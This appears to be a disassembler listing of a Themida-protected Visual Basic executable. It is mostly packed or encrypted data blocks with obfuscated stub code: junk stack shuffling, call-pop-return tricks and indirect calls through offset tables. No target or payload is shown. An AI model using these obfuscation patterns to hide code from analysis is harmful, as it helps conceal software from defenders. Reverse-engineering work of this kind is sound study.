		dd 895C2404h, 0C068241Ch, 89000043h, 0C768240Ch, 8B061A3Ah
		dd 0C481241Ch, 4, 422B68h, 24248900h, 4240481h,	59000000h
		dd 4815352h, 0E6635C24h, 0EA815A1Ch, 1CE6635Ch,	5A085189h
		dd 592434FFh, 8B04C483h, 8953241Ch, 4C381E3h, 83000000h
		dd 1C8704C3h, 2DE95C24h, 64FFFA41h, 1427A904h, 0CE1C81E8h
		dd 3F36B84Fh, 0C503061Ah, 3468E0FFh, 24552FCDh,	233B72C3h
		dd 0CAC00547h, 186171E0h, 2B971835h, 0D9305FCh,	3A283397h
		dd 0DD6C4C3Fh, 0B845631Bh, 0A4E97EC5h, 0AB000001h, 2748E32Ah
		dd 0D31AD52Ch, 0D746B198h, 0EFB4CAD1h, 0E45B7E41h, 6D5D9752h
		dd 44FCA3FBh, 0A59EB992h, 95BCD792h, 93B9E4h, 0F49DB2CBh
		dd 0FC9CACA3h, 0D2009EB9h, 73AFC945h, 55FC00EEh, 599CBA97h
		dd 0B2A4E56Dh, 47FEACFFh, 0C45657F6h, 0F600CCD4h, 0F78F7DB5h
		dd 97539549h, 45C9BCFAh, 0A1915CCDh, 0ACE56Ch, 100h, 43h dup(0)
		dd 0A26D8497h, 0EE69F033h, 9 dup(0)
		dd 0E9000000h, 104Eh, 1A43B568h, 1E7E906h, 0CB68FFFBh
		dd 0E9061A44h, 0FFFB01DDh, 1A464A68h, 1D3E906h,	0F968FFFBh
		dd 0E9061A46h, 0FFFB01C9h, 1A484468h, 1BFE906h,	0D68FFFBh
		dd 0E9061A49h, 0FFFB01B5h, 1A49FE68h, 1ABE906h,	8868FFFBh
		dd 0E9061A4Ah, 0FFFB01A1h, 1A4B7268h, 197E906h,	0EF68FFFBh
		dd 0E9061A4Bh, 0FFFB018Dh, 1A4CCD68h, 183E906h,	0A768FFFBh
		dd 0E9061A4Dh, 0FFFB0179h, 1A4E6768h, 16FE906h,	7068FFFBh
		dd 0E9061A4Fh, 0FFFB0165h, 1A506968h, 15BE906h,	254FFFBh
		dd 0A1F676ADh, 488DDB08h, 0EF2EBED5h, 95C705B2h, 4582ED1Ah
		dd 3261BA1Ah, 96CD5EB2h, 7F940556h, 0C572B1E1h,	2C122829h
		dd 743981C3h, 38667DE0h, 0ACEA82FBh, 0D1E91677h, 336781EBh
		dd 0AF016B7h, 96336782h, 79CE4AE4h, 6AC30814h, 0BBD1B1F3h
		dd 748A8B88h, 35739263h, 831075E7h, 63E7369Dh, 7B918163h
		dd 73CB4F39h, 543F4368h, 5BF58Dh, 48D40000h, 21AC9409h
		dd 7BDAD98Ah, 0A23873A5h, 30593972h, 0E6CCF213h, 0BA336781h
		dd 733848C8h, 0F35738Fh, 988D2071h, 56C7BEE8h, 0E5C6BDF8h
		dd 0E763D03Bh, 7C7EFDDFh, 0F74FC339h, 0FB06D929h, 0AD900D40h
		dd 3B914FFFh, 543A40CDh, 2C397C69h, 3D72D6B2h, 0FF8D54FBh
		dd 0FDh, 0FB386672h, 0D24F829Ah, 2859396Bh, 8B2275ABh
		dd 0B472D692h, 0FCE21864h, 84336781h, 0ABC5B8EAh, 3F51346Bh
		dd 331340DFh, 336785FFh, 0A3D04F8Fh, 0C7BEF525h, 0C4FA2A45h
		dd 336785DEh, 4C316AAEh, 0E610C21Ch, 9D765F67h,	7A143573h
		dd 0DEC4FA1Bh, 0A2397B9Dh, 8DFF5030h, 497FDD2h,	54316321h
		dd 77A6E937h, 7B9D290Fh, 8B8F7939h, 7ADB4562h, 6F232327h
		dd 133B8542h, 0CF91D963h, 0B2ECB772h, 256AB2D3h, 42928CF4h
		dd 0B61E043Ah, 0F0623369h, 0F02C1146h, 0B0EB21A2h, 0E56D9FCDh
		dd 744D93Bh, 87167D6Ch,	0BB175757h, 15CCCA09h, 0E75E26A9h
		dd 0D9137h, 207FD300h, 8F1E75F3h, 68C50858h, 316CAD3Bh
		dd 99124282h, 99C6076Ah, 314FE437h, 0D51340DBh,	6CFC2B82h
		dd 0AC42F12Eh, 0C4AF95ADh, 7BF33981h, 0E53666F6h, 6FE03E4Eh
		dd 2677DC2Fh, 6AD30D3Fh, 306DA03Eh, 0B6ED1F4Dh,	42789965h
		dd 3367815Ch, 0BCCE4A24h, 0B5858083h, 99ED5A5Fh, 6891F123h
		dd 73DA8D52h, 1A7B1535h, 0C6DFC5FDh, 0E2A3397Bh, 7BC6F6DCh
		dd 0AED88A39h, 41239BAAh, 0F397BC6h, 3A8B38Bh, 0B58D5458h
		dd 0D5h, 0F9386638h, 121C9F18h,	0E4FCE830h, 4F23A106h
		dd 0E27AE31Dh, 8E0479B2h, 33678F5Ah, 9C1343DDh,	2C1228A9h
		dd 7433678Eh, 3EE8689Ah, 0D41443E0h, 0B4342986h, 9CBD989Bh
		dd 8E61477Fh, 0ACD23367h, 33678EC6h, 0DE28DAh, 222650CDh
		dd 73A63922h, 467C5935h, 397B9660h, 775D6520h, 0B397B96h
		dd 80D12F59h, 0DE08382Dh, 8784B7A9h, 3ADF8086h,	1DA33B85h
		dd 4BCA64B7h, 0FB2883D5h, 53F02B6Dh, 26A86C6Bh,	7BA866DFh
		dd 0AD00000Ch, 4F9DCA69h, 0E2629108h, 87C572AFh, 5CACDB56h
		dd 0E974A3FCh, 8E21732Ch, 6AC50B59h, 3D6CAF3Dh,	9B184686h
		dd 0ABD3B26Ch, 3981C5C5h, 66D459DDh, 8498E536h,	0DA0F556h
		dd 5A3E6818h, 0F83767E5h, 0D34E839Dh, 0E55A3E6Ah, 50879934h
		dd 5C2464D9h, 261F94C2h, 0AAAB0856h, 0A8E8645Ch, 55863667h
		dd 0C83F1B92h, 5D383B54h, 1E71F3Ch, 81336841h, 365373D7h
		dd 0FC357440h, 62BA1B02h, 6B9BFF34h, 397C3F89h,	72A64657h
		dd 326CBF15h, 579CB256h, 8D54D11Ah, 6282h, 0D98A1700h
		dd 12437BDAh, 0F0357398h, 6EBE1F06h, 0DD8FF62Bh, 976B4D75h
		dd 0DD71397Bh, 452D4289h, 3CEF8D54h, 0AE000000h, 7403FE50h
		dd 4C34BC04h, 0DAD98A81h, 0AB66437Bh, 0B22C3573h, 83D24ACBh
		dd 0E85DCE02h, 55170EB8h, 0ABF3D5EDh, 55F9397Bh, 3CB5FA01h
		dd 4AD28D54h, 0F3B19405h, 7C397h, 0D8560000h, 8CBh, 568799D5h
		dd 124D7FDBh, 940E3411h, 0E7357DC0h, 4CC6C417h,	0FE5A1402h
		dd 6840B02Ch, 96B6A2F2h, 3BA98FB7h, 0FF93982h, 6EAC70DDh
		dd 14428231h, 5BC25DB3h, 1A86FF29h, 0D3EB6A69h,	3B9879BCh
		dd 0AF2C9646h, 99556BD2h, 0E03EEE6Fh, 0F52B1443h, 0C1A7DF9Fh
		dd 0C1336804h, 839DE517h, 0AF71DC53h, 2E57336Eh, 838281B2h
		dd 74354E7Bh, 21763435h, 27395E88h, 3B20966Bh, 0AFC0CCAh
		dd 0EA2C0000h, 89CE1EB5h, 3065E310h, 0D70646FDh, 7DDF2D5Ah
		dd 0AD6AF522h, 0DA09A2F2h, 0BED5468Ah, 7BCED2Eh, 0ED1A99F9h
		dd 442A5031h, 5C3981C7h, 9E8055D8h, 2336780h, 0CBF35251h
		dd 357DC321h, 50C90A12h, 41DBBFEDh, 530C6097h, 4BCDF550h
		dd 0DF3B9803h, 9EFC202Dh, 4492D201h, 5ABE6EEFh,	0C04041C1h
		dd 91A99497h, 357DC082h, 0D2F3520Ch, 0BFA78DB5h, 0BFB3981h
		dd 0B88275C6h, 1672AC32h, 0E855CA08h, 0AFFE55CBh, 827DD1B7h
		dd 2327D139h, 0E13E9CECh, 7D22067Ch, 0D586B982h, 0E64F77D6h
		dd 0A4BB8E96h, 36B18DCAh, 40B5A69Ch, 0A4D92h, 0E43B9F00h
		dd 43DA314Fh, 2C81D414h, 0F52869F7h, 5DCE0E5Eh,	257ABB26h
		dd 0FD0BB8F3h, 91EF0497h, 28B8EF3Eh, 601EB5EAh,	0C7F3D9E1h
		dd 0A78F3981h, 0DAD98A3Ah, 4ABE8B7Bh, 0B11EB39Ah, 958BA8D1h
		dd 3474E944h, 2D8A344Ch, 5C0E357Eh, 0B0EF2FF1h,	9ACC3A03h
		dd 3F8330DAh, 8BCB553Dh, 968BE816h, 0AD33AE4Dh,	9E87316Ch
		dd 13727122h, 98A365EBh, 203FD3Bh, 1165BC1Ah, 52EC1B99h
		dd 0D9275C8Eh, 0D2433A79h, 8C1B7864h, 3D6FD647h, 4FD29781h
		dd 8586B1CBh, 7D639BB8h, 9336826h, 0B0F055C8h, 0ADCCB426h
		dd 7E66CE95h, 0E5022335h, 8266F7DDh, 65D98B39h,	3982667Fh
		dd 3BF15103h, 667E649Ah, 50023982h, 268D7424h, 8731826Bh
		dd 0FB386686h, 41DE3C4Ch, 9D8466DCh, 4BE43981h,	0C7B5CD48h
		dd 0CB3B97DDh, 0B2E03C19h, 5886C67Dh, 0B5E662DBh, 42A7F8B4h
		dd 0EC1E84CAh, 7CDC4061h, 267DDD23h, 0FD050D3Fh, 357E807Bh
		dd 2F05D0Fh, 0D59FD8C7h, 98A9A988h, 36A1CB3Bh, 4776D927h
		dd 0C7FCEF74h, 7B7E174h, 0F9A6F7h, 2822269Bh, 0E9117C7Fh
		dd 3B8E2AD0h, 947A80A1h, 0EC337605h, 6A041672h,	9C99A72Dh
		dd 2CEA5B26h, 902h, 4B3F022h, 0E91E8FC4h, 4CFB369Bh, 1340DD3Ch
		dd 0FB2883D5h, 0A8E8B770h, 4C80C077h, 0F324A4D3h, 9FFF0DBAh
		dd 5A3BD300h, 81C93E24h, 67EA4239h, 82FB3866h, 0E77ACEAh
		dd 0B2D36B4Fh, 7298CF64h, 8740133Dh, 0CFFh, 87997200h
		dd 1179D950h, 53Fh, 3CFBC19Ch, 0A73ACE0h, 97C0FA5Eh, 81593F47h
		dd 0BF293367h, 13E3000Dh, 0AC5687A2h, 9F19D2ABh, 41E73F6Fh
		dd 2EC7FF5Bh, 0EC3573D9h, 0F0A81C72h, 6CE68097h, 2D553033h
		dd 0A9343A8h, 0AC92A8C9h, 0F406733Bh, 1E48E136h, 0F76E03Ah
		dd 64E1E29Dh, 3A202647h, 4606733Bh, 8494AC94h, 8087CB4h
		dd 0F121FF5Eh, 97C705B2h, 5B6BFB18h, 269F518Eh,	839E8h
		dd 88276B00h, 57C60D5Bh, 306DA020h, 99144583h, 61BA1A6Ah
		dd 316EAF32h, 0C9174CDFh, 6DFB2883h, 444F32Ah, 742A59D6h
		dd 0CB07ED15h, 939B3981h, 4A9992Eh, 689480CBh, 0FC5AC44Ch
		dd 6EAEBEA7h, 0F9AA863Dh, 0A3639BFAh, 2F357DE4h, 0E472586Eh
		dd 5C0E3981h, 1A022322h, 765A67B6h, 973E346h, 6DAD7BDFh
		dd 86C95736h, 8CDC3317h, 0EF6CD14Eh, 7C8D841Fh,	2622980Ah
		dd 1D787B14h, 98745FE5h, 7AA2E33Bh, 0E1A39A17h
		dd 6873977Dh, 79B0E733h, 28957FEFh, 236167ABh, 886E94F1h
		dd 183367B9h, 0CF513C6Eh, 40DB3D88h, 157D2F16h,	90B6D7F4h
		dd 3367B9AAh, 48E528F6h, 128BC01Eh, 0A6AAE836h,	67B9BAA0h
		dd 0FA14C633h, 0DC4F859Bh, 6AC51769h, 307B1F3h,	1C2243CCh
		dd 3367B936h, 6EB8984Ah, 0F28AF330h, 90CA09A2h,	9226AAE5h
		dd 748F323h, 36980000h,	0D53A4AF9h, 7CD12F44h, 2372F221h
		dd 0C90B598Eh, 71BE2156h, 6BDEE2Eh, 0EA1992C6h,	0B3E0399Ah
		dd 194EE535h, 0F8DEE465h, 883981CAh, 0D98A39A4h, 7B8B7BDAh
		dd 71805D54h, 4B739AFEh, 357DC9C5h, 7AA2A35Dh, 6686871Ch
		dd 0A699F932h, 851447D9h, 1489CCA0h, 95C17331h,	9DC16E3Bh
		dd 0D34D3502h, 0CB392C83h, 84BA9B98h, 3B8E0F57h, 0FDA07AC8h
		dd 4F3667A8h, 0A8BAE11Dh, 0C0B268E8h, 9C615F83h, 0A472E326h
		dd 6BEh, 0C077ACEEh, 0A5D24B80h, 8BFF227h, 0EF0499F8h
		dd 0B7EC3F91h, 64B4EB34h, 84C9CCBh, 0AFE06097h,	5BBBC97Eh
		dd 9EFFAFC4h, 81CB8268h, 0AB161E39h, 9AFB3866h,	28AA72ACh
		dd 56FF7613h, 0CAFA6A23h, 5D64EC1Eh, 0E95CD303h, 0CBFA4CA6h
		dd 829148Bh, 67F30CF2h,	9EFA9433h, 0A04C61A9h, 7CC8740h
		dd 61000000h, 2E6D8h, 3866D500h, 0B1582FBh, 0B3F154CBh
		dd 898AA5D7h, 0C0F0768Ch, 8670357Dh, 0E5389987h, 55A5AA9Dh
		dd 0AB587434h, 0D34D3530h, 0D8392C83h, 909D83BBh, 0BE53981h
		dd 40BF110Fh, 34639D12h, 2E142A4Bh, 72398190h, 0D98A8080h
		dd 0A0437BDAh, 623B97D0h, 0A87495F0h, 0D14FCB64h, 0E3C9F181h
		dd 0BF3367D0h, 0E46493CDh, 680479B6h, 128EF728h, 0DBE36261h
		dd 3573DABEh, 0FF6DAA44h, 432096D8h, 5D404D2h, 0C2140000h
		dd 61B6366Dh, 84D9BC8h,	0AFEE7E95h, 5587C572h, 8542ADDAh
		dd 0F2217ADAh, 568D1E72h, 3F54C516h, 853271A1h,	6C5268E9h
		dd 343981CCh, 3866BD20h, 0ACEA82FBh, 8BAF55Bh, 85147B15h
		dd 1687CCA0h, 0C8178AC8h, 0A7A04855h, 0E88FF620h, 9A312C02h
		dd 8A256BB5h, 3554EA8Eh, 0F1194EE5h, 874100BCh,	77Ch, 69D8F100h
		dd 0D5000001h, 5CFB3866h, 26AB1D44h, 576FAF26h,	89000005h
		dd 2BB9EE45h, 0CE1EB5E4h, 63E1168Bh, 3848FF32h,	0CD1047D8h
		dd 0A2FD5F00h, 0EA1F775h, 0D1488BD9h, 0BFF422A2h, 0CFF75608h
		dd 3981CCE9h, 66C8B5B9h, 2980D738h, 0A7F67434h,	8D7DD80Ah
		dd 4A7AD562h, 0EED56C96h, 9E618737h, 60FC050Dh,	0F488FD32h
		dd 7D130AA3h, 3F9C811Ch, 67B02107h, 94F76133h, 0F60558EEh
		dd 0DB3B4A1Ch, 0C6EB2F44h, 7687405Dh, 0Dh, 0DED8FBh, 0D8D50000h
		dd 0D8h, 568799D5h, 820CF208h, 0FA943367h, 0B397D548h
		dd 83EEE99h, 33678122h,	0F3528C7Eh, 0D7B3EA2Dh,	0C10A90B6h
		dd 0E496357Dh, 0DA558799h, 0AAC5477Eh, 0BF8FACA9h, 99944E1Ch
		dd 900F4F26h, 0C54DFFADh, 8DE40CBDh, 0D6EC0D3Bh, 3375E3F0h
		dd 0A842C6B0h, 0BB17993Eh, 7AEB269Ch, 4795Ch, 0C867AB00h
		dd 97064D9Bh, 70ADE060h, 0D95485C3h, 0A1FA5AAAh, 712EEF72h
		dd 9578C1Fh, 0AD3B68C3h, 4484336Ah, 0B46A9916h,	0CDC7ADD5h
		dd 53DB3981h, 9D98AEEh,	0F26AC517h, 3367820Ch, 3838F894h
		dd 683C4C7Ah, 60818C3Eh, 5AC35CBCh, 0B1A2A2Eh, 0B7357443h
		dd 0D80AA9E9h, 336EA37Dh, 0BCC1A284h, 8DCD397Bh, 0A3E93716h
		dd 0C469DC08h, 3D7B2581h, 2F62E255h, 0FF4B8BF2h, 46000003h
		dd 854AA999h, 0EB3581CAh, 501075A4h, 7F282226h,	63E9117Ch
		dd 0FF357EA4h, 0BE1C000Dh, 8B289D63h, 6F99A4BDh, 3D6EDAEBh
		dd 3D6FC412h, 250B3350h, 7D398235h, 0DC7B0881h,	8F3994BFh
		dd 0F545628Bh, 0BE67D855h, 379AE0A3h, 41C183FAh, 8DEE9041h
		dd 4380723Bh, 269CADB7h, 9F3CDA4Bh, 0C1000003h,	63E1168Dh
		dd 646FD2Ch, 0DB295ED3h, 70F0277Ah, 15588F20h, 0EA4597C8h
		dd 0B6E92FBDh, 1990C301h, 0E73C9AEAh, 87BF9EB0h, 3981CEA1h
		dd 8A800DE1h, 437BDAD9h, 357DC0C9h, 7F659DBAh, 33981C2h
		dd 493BF151h, 0AD0250CCh, 0BA8F676h, 6DBE120Ah,	0B9C848F8h
		dd 1D033B58h, 653981C2h, 74CA5B8Bh, 0EDA922Eh, 4447F00Ah
		dd 83BBD8F9h, 3981E59Dh, 0F70F0BE5h, 3B9823E0h,	7495F062h
		dd 4F3768A8h, 3367DC69h, 0A2CB4F39h, 0FD851C7Ah, 138AC16Eh
		dd 810E95E3h, 72A02057h, 0AFD8483Dh, 8C7212AEh,	3666E566h
		dd 0C6CE0A80h, 6DE81A7Ch, 73C62855h, 0DB78EA35h, 2096F965h
		dd 0DF8E4CB9h, 1000002h, 0A32156CDh, 46863D6Ch,	1B699E13h
		dd 0B03067BAh, 5598CF60h, 2A85D788h, 0F6296FFDh, 59D00341h
		dd 277CDA2Ah, 477FDEF0h, 3981CF61h, 9940CD21h, 7FDB5687h
		dd 4B3271A1h, 0F94CE535h, 0B5D95104h, 0D448FF29h, 0A5DDB8BBh
		dd 3573F694h, 69E14436h, 397BF587h, 666DC155h, 8D54A349h
		dd 41F3h, 0D98A6600h, 130AA7F6h, 20262751h, 35738F5Bh
		dd 1A90F567h, 397B8F38h, 0A39A1344h, 311487CDh,	1B56E84Ah
		dd 0D2B89687h, 9E1B50A7h, 0F549ED55h, 5480C1EEh, 0FB5ECE8Dh
		dd 858DBFA6h, 0B9D1h, 38664400h, 362F82D7h, 9A6F40Ah, 6EAE7EDFh
		dd 502C553Dh, 0E63AD00h, 0A0E40239h, 21710F76h,	863069AEh
		dd 1291C19Fh, 71ACED33h, 3F45C0Ch, 67A7EF23h, 0E03F9F33h
		dd 4EE535B3h, 393A55D7h, 0CC15265Ch, 0DBB53573h, 8487B0ACh
		dd 293881B9h, 0A85A3B85h, 8E2173ADh, 56C90B59h,	0A8787131h
		dd 9240B526h, 1D6h, 386FC416h, 9DCA63A8h, 60970A4Fh, 0C77CB1E0h
		dd 0AFC457B9h, 7CDC834Ch, 2074F423h, 0C708588Fh, 73A32156h
		dd 76D7873Ch, 81D06A50h, 0B33E3639h, 0D9508799h, 1E6DAF79h
		dd 3D3460B9h, 42078DCDh, 0EE7E95C7h, 0A1273B0h,	91EF56CBh
		dd 0D5BDEF3Eh, 0D98AB162h, 7E437BDAh, 0F735738Fh, 0C949E429h
		dd 0D7468D53h, 9D80326Eh, 7B8F4325h, 0E3000939h, 7B8FF5DBh
		dd 77D38D39h, 3B707BD3h, 0FD8D5421h, 0B5h, 0FB386670h
		dd 71AAEA82h, 56C70814h, 0F26BC408h, 22B3D2B6h,	0BD7FFD4h
		dd 96F273D8h, 67883A6Eh, 1F94C233h, 0C93A98E8h,	5B352883h
		dd 0F674A6F9h, 64D90BA8h, 0CD484BE4h, 73ACA4B5h, 0A4BD535h
		dd 8F79B397h, 0E63B9E8Eh, 0F245CD7Fh, 6FEEED9Eh, 5DC05BB1h
		dd 225CD303h, 53FF0726h, 373B8547h, 0F424F845h,	9CFC0CBBh
		dd 975AC403h, 79EC26A8h, 0DD59h, 54CB0F00h, 336AA13Fh
		dd 9C114484h, 65B81967h, 0CD5EBECEh, 0D58A4B96h, 6DFB2883h
		dd 15FF427h, 0D8285FCEh, 0D08E257Ah, 0D1634971h, 373F3981h
		dd 0E536664Ah, 0DF508498h, 0E95E3A66h, 4FE43B9Bh, 0FB386662h
		dd 0A4ACEA82h, 6781B89Eh, 0EC1EC833h, 85AAC5B7h, 0E07ADA53h
		dd 394BFFFCh, 0CAF05D8Fh, 357DD6B7h, 4EBC994Bh,	7FD02260h
		dd 221FFE2Eh, 700C351Dh, 16568D22h, 7CF26BC8h, 83B9550Ah
		dd 0DDE5026Bh, 7C4AA4F7h, 63DA5587h, 5D25D721h,	3664A5B9h
		dd 806BA8FBh, 0D80AE75Ah, 1C7AA2ABh, 35658387h,	392C7DD2h
		dd 6B066909h, 0AFD911BDh, 2574087Dh, 9C069588h,	0C45BBBCAh
		dd 8E0151AFh, 3B69DC4Dh, 13469489h, 4B000000h, 0C8091786h
		dd 6F991479h, 0F93266F6h, 41DC314Fh, 346674C1h,	0A8F686FFh
		dd 197A120Bh, 8DC39D80h, 3552B12h, 79DBB5A8h, 0F0213F26h
		dd 61B4C8BDh, 0D00759CCh, 68B3E459h, 5B8Fh
; ---------------------------------------------------------------------------
		mov	[esp], ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	41C8h
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4B48653Ch
		mov	eax, 0BAD1DCF6h
		add	eax, edi
		pop	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edx
		push	ebx
		mov	ebx, eax
		mov	[edx+8], ebx
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_591F29
; ---------------------------------------------------------------------------
		db 4Dh
		dd 238199BCh, 6BB88F86h, 3061A51h, 0BE0FFC5h, 2F7E774Dh
		dd 15231E55h, 4F240973h, 8327F617h, 19055F45h, 0C2157FBh
		dd 4941DDE8h, 0B21ACC94h, 4C6BC1C6h, 0C3162643h, 9D12155Eh
		dd 6F4EF53Fh, 8C52A79Fh, 910840AAh, 365940CCh, 0FC4B897Ah
		dd 3552AE7h, 8D6B2EAEh,	1A52E68Dh, 89D1B706h, 142B698Dh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 5E4B90Dh, 0C7633CF0h, 14105585h,	6D7806h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0FF811DACh, 12FDBD8Bh, 85C70614h, 614013Dh
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5E2E4B
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E2E4B	proc near		; CODE XREF: Themida_:005E2E43p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5E2E4B	endp

; ---------------------------------------------------------------------------
		movsd
		mov	ah, 0D4h
		dec	eax
		sub	byte ptr [eax-6B2209h],	0B5h
		or	eax, 89061408h
		mov	ebp, 6140DFDh
		call	dword ptr [ebp+6140BD9h]
		sbb	di, 9AACh
		push	0
		call	dword ptr [ebp+6142971h]
		mov	eax, eax
		jmp	short loc_5E2EFF
; ---------------------------------------------------------------------------
		db 0FAh
		dd 0F61BCE30h, 2EC3C74Ch, 0A0648069h, 961BAEC4h, 2536D869h
		dd 21A966F6h, 0A525EFB5h, 0E07B8D15h, 0AC84D7DDh, 2D50EA48h
		dd 95145223h, 180B0A37h, 0CC87BEEEh, 0C41E5F50h, 6388631Ch
		dd 993E69D4h, 1D424CA3h, 7961CAC7h, 50A3BD68h, 0D761808Ch
		dd 0A32C2638h, 59E76E71h, 6C64FC31h, 6D3BA0C1h,	0B5F5EF05h
		dd 7EBC3C5Bh, 0C45F566Eh, 8ED8D18Fh, 7625B61Bh
		db 50h,	59h, 64h
; ---------------------------------------------------------------------------


loc_5E2EFF:				; CODE XREF: Themida_:005E2E85j
		lea	ecx, [ebp+61A5406h]
		push	0
		push	esi
		call	sub_5E2F10
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E2F10	proc near		; CODE XREF: Themida_:005E2F08p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5E2F10	endp

; ---------------------------------------------------------------------------
		mov	al, ds:4E5BAF5Ah
		popf
		mov	word ptr [ecx+1415519Dh], cs
		push	es
		mov	[ebp+6142B69h],	ecx
		mov	eax, 48C32B28h
		mov	dword ptr [ebp+6141055h], 58E4h
		push	edx
		pusha
		mov	ah, 0DCh
		jl	$+6
		popa
		pop	esi
		mov	dword ptr [ebp+614013Dh], 0
		jmp	loc_5E2F63
; ---------------------------------------------------------------------------
		db 0CDh, 0E8h, 80h
		db 0ADh, 0C5h, 79h
; ---------------------------------------------------------------------------


loc_5E2F63:				; CODE XREF: Themida_:005E2F58j
		push	dword ptr [ebp+61404B1h]
		push	0
		push	edx
		call	sub_5E2F74
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5E2F74	proc near		; CODE XREF: Themida_:005E2F6Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5E2F74	endp

; ---------------------------------------------------------------------------
		dd 7B2A9B04h, 8BFA71B7h, 140AE59Dh, 0D995FF06h,	6606140Bh
		dd 6A3D64BEh, 7195FF00h, 8B061429h, 657CEBC0h, 76DE8A23h
		dd 927E18BBh, 7D83D3C8h, 3B9CFB63h, 0C0D46CA9h,	3D65FCC0h
		dd 995766CCh, 483CA71Ah, 0B1B6DF9Ah, 652B610Ch,	0FC4550B2h
		dd 307FC7B8h, 24EF4E9Dh, 0DCDFC059h, 0A99E8C06h, 0A0B61C09h
		dd 461E11E6h, 39688575h, 35EDA838h, 91656871h, 0F9EB58CDh
		dd 9D1E36B3h, 0F52A359Ch, 0DCCC5382h, 4D4B967Dh, 2EDF82C9h
		dd 0DA59EE4Dh, 51C5152Dh, 11E7F684h, 0FB6A5A2Dh, 0E8392BA5h
		dd 11h,	34CFD25Eh, 655C1E67h, 24ADF95Dh, 41107FE7h, 0E1E381D3h
		dd 5E3587BEh, 0C681FE8Bh, 5B0Eh, 85335760h, 6140F31h, 0DC09B95Bh
		dd 33610A9Ch, 0AD9D89C9h, 8B06141Eh, 9D030E14h,	6141F49h
		dd 9B68C281h, 0CE90925h, 0DF000000h, 0E270AD8Dh, 3898B35Bh
		dd 810ACC81h, 54F988EAh, 0E27ABB19h, 0F2816D8Fh, 37141FCEh
		dd 0E6DBD31h, 0F520614h, 68Ah, 399D2900h, 8F061430h, 858B0E04h
		dd 61423B9h, 83C0BF0Fh,	0E28A04E9h, 0A5B0F981h,	850FFFFFh
		dd 18h,	23E9DF8Bh, 0D1000000h, 0EB15F3BFh, 0BA12D944h
		dd 0B5AA0CE4h, 0BB880B1Ah, 29698D89h, 7CE90614h, 3AFFFFFFh
		dd 0A2DFE6B6h, 5EE98D19h, 0E7000001h, 0DD0CA985h, 437C8360h
		dd 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h, 2E64656Bh
		dd 657865h, 3Ah	dup(0)
		db    0
		db 2 dup(0), 33h
aCannotFindS_Pl	db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0
aThunrtmain	db 'ThunRTMain',0
a__vbavartstne	db '__vbaVarTstNe',0
		align 4
		dd 1B3DE900h, 0AC680000h, 0E9061A58h, 0FFFA2A20h, 1A59A968h
		dd 2A16E906h, 0A468FFFAh, 0E9061A5Ah, 0FFFA2A0Ch, 1A5B7868h
		dd 2A02E906h, 0B768FFFAh, 0E9061A5Bh, 0FFFA29F8h, 1A5C6C68h
		dd 29EEE906h, 0BF68FFFAh, 0E9061A5Ch, 0FFFA29E4h, 1A5D0668h
		dd 29DAE906h, 0A868FFFAh, 0E9061A64h, 0FFFA29D0h, 1A656768h
		dd 29C6E906h, 1268FFFAh, 0E9061A66h, 0FFFA29BCh, 1A66C968h
		dd 29B2E906h, 3C68FFFAh, 0E9061A67h, 0FFFA29A8h, 1A681368h
		dd 299EE906h, 0B568FFFAh, 0E9061A68h, 0FFFA2994h, 1A695D68h
		dd 298AE906h, 2068FFFAh, 0E9061A6Fh, 0FFFA2980h, 1A6FF468h
		dd 2976E906h, 8E68FFFAh, 0E9061A70h, 0FFFA296Ch, 74B8F313h
		dd 5FA3DAEBh, 44C8C5C0h, 32F6ADDBh, 171B96B5h, 0F312A094h
		dd 0E0ED7ABEh, 0CAC661A5h, 0AADC4BCFh, 0FF422FF3h, 0EAC583BEh
		dd 70F30055h, 94A4D7E9h, 6778E230h, 79063665h, 0B0D05447h
		dd 97102B51h, 49DC63DBh, 8CBFF86Bh, 755E483h, 0ADE8E403h
		dd 8FFB399Dh, 0B32738Bh, 0E955E483h, 25CB076Eh,	0B18BA89Ah
		dd 3Fh,	1B61807Fh, 346799E0h, 31728004h, 0DC6C66F4h, 0E04DB849h
		dd 55E49C51h, 0DA489CD2h, 0FF3C1863h, 252959DBh, 47A99415h
		dd 504B55E4h, 8880FB09h, 1279060Ch, 0A9621AC0h,	0D5A48Bh
		dd 67700000h, 46053665h, 0F8C44E4Bh, 0BFCE6867h, 0D1AEDEC2h
		dd 0FF4AEBAFh, 7453F092h, 83DCEC10h, 47060A81h,	53F0972Ch
		dd 0B9881580h, 3A53F097h, 0FD0FDC56h, 0EB1D8A8Eh, 0C5C49BB0h
		dd 27A4AC8h, 396695E3h,	49DC7F1Dh, 166EB296h, 1F8A81F7h
		dd 8F3003ACh, 0CFB355E4h, 0D7274845h, 0F98F4FCBh, 8415083Ch
		dd 671E2CBBh, 45CFF357h, 5B22593Dh, 0C044742Fh,	0DBEA7132h
		dd 772DD454h, 89AD66F6h, 0B6EB1A85h, 3661571h, 6D3FAF63h
		dd 18A4h, 3CC0BBCBh, 27EBA2A3h,	0C108DB8h, 0FA3E7593h
